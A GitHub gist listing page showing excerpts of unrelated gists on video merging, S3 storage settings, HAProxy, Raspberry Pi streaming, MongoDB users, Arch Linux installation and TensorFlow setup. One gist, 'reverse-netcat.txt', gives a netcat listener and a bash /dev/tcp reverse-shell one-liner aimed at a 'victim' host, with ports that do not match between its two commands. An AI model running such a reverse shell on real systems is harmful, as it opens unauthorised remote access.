Skip to content

Instantly share code, notes, and snippets.

View phedoreanu's full-sized avatar
🏠
Working from home

Adrian Fedoreanu phedoreanu

🏠
Working from home
View GitHub Profile
@lwr
lwr / ytdl
Last active August 29, 2015 14:01 — forked from ckorn/ytdl
compatible with ffmpeg 2.2
#!/bin/bash
#Youtube-DL DASH Video and Audio merging script
#Written by QuidsUp
#Edited by Christoph Korn
#Edited by William Leung
File1New=video.mp4
File2New=audio.m4a
URL=$1
@richleland
richleland / settings.py
Created October 29, 2011 11:00
S3BotoStorage subclass for media and static buckets
DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'
STATICFILES_STORAGE = 'path.to.storage.S3StaticStorage'
THUMBNAIL_DEFAULT_STORAGE = 'storages.backends.s3boto.S3BotoStorage'
AWS_ACCESS_KEY_ID = 'YOUR KEY'
AWS_SECRET_ACCESS_KEY = 'YOUR KEY'
AWS_STORAGE_BUCKET_NAME = 'media.YOURSITE.com'
AWS_STATIC_BUCKET_NAME = 'static.YOURSITE.com'
AWS_S3_CUSTOM_DOMAIN = AWS_STORAGE_BUCKET_NAME
AWS_STATIC_CUSTOM_DOMAIN = AWS_STATIC_BUCKET_NAME
STATIC_URL = 'http://%s/' % AWS_STATIC_BUCKET_NAME
@meanevo
meanevo / haproxy.cfg
Last active July 25, 2019 16:51
H2, HTTP/1.1 traffic balance/routing with HAProxy 1.7 (with SSL-Termination) and Nginx 1.10.2
#---------------------------------------------------------------------
# Global settings
#---------------------------------------------------------------------
global
daemon
chroot /var/lib/haproxy
pidfile /var/run/haproxy.pid
maxconn 2048
user haproxy
group haproxy
@max-mapper
max-mapper / readme.md
Last active May 21, 2022 11:02
ffmpeg youtube live event rtmp stream from raspberry pi with raspi camera (raspivid)
  1. compile ffmpeg for arm https://github.com/fiorix/ffmpeg-arm
  2. create youtube 'live event'. get rtmp url + session id
  3. run this:
raspivid -o - -t 0 -vf -hf -fps 30 -b 6000000 | ffmpeg -re -ar 44100 -ac 2 -acodec pcm_s16le -f s16le -ac 2 -i /dev/zero -f h264 -i - -vcodec copy -acodec aac -ab 128k -g 50 -strict experimental -f flv rtmp://a.rtmp.youtube.com/live2/<SESSION>

you can tweak -b and -fps to your liking. the settings above work well for 1080p. by not specifying width or height we get the full 1920x1080 resolution from the raspi camera

@tamoyal
tamoyal / gist:10441108
Created April 11, 2014 04:39
Create super user and database user in Mongo 2.6
# Create your superuser
$ mongo
> use admin
> db.createUser({user:"someadmin",pwd:"secret", roles:[{role:"root",db:"admin"}]})
> exit
# Alias for convenience (optional and at your own risk)
$ echo 'alias mongo="mongo --port 27017 -u someadmin -p secret --authenticationDatabase admin"' >> ~/.bash_profile
$ source ~/.bash_profile
@alphazo
alphazo / archlinux-install-guide.md
Created August 7, 2012 12:54
ArchLinux Installation Guide

ArchLinux Installation guide

This will use GPT partitions and GRUB2 on a BIOS enabled PC (see Wiki for EFI). The Installation Guide can be found at /root/install.txt.

Prepare USB stick

Get 2012.08.04 image or later from http://www.archlinux.org/download. Following tutorial requires at least 2011.07.15 image.

dd if=/dev/zero of=/dev/sdx bs=1k count=1

@alsunseri
alsunseri / reverse-netcat.txt
Last active March 1, 2023 20:59
nc netcat reverse shell
On attack host in "local" active terminal using port 10000 for example:
nc -l -t -v 8080
i.e. attacker$ nc -l -v [ATTACK_HOST_IP] 8080
Then On "remote" victim computer - run this command
Get this to execute on the victim host ( assuming victim does not have netcat )
bash -i >& /dev/tcp/[ATTACK_HOST_IP]/10000 0>&1
for example:
@Mistobaan
Mistobaan / tensorflow_cuda_osx.md
Last active July 25, 2023 18:54
How to enable cuda support for tensor flow on Mac OS X (Updated on April:2016 Tensorflow 0.8)

These instructions will explain how to install tensorflow on mac with cuda enabled GPU suport. I assume you know what tensorflow is and why you would want to have a deep learning framework running on your computer.

Prerequisites

Make sure to update your homebrew formulas

brew update
@rain-1
rain-1 / a_How is a matrix used to count fish?.md
Last active November 2, 2023 19:58
How is a matrix used to count fish?

This is explaining stuff relevant to AOC 2021 day 6

How is a matrix used to count fish?

First lets do fibonacci numbers because it's smaller (2x2 matrix instead of 9x9) and it's familiar ground.

So you can implement fibs like this:

def fib(n):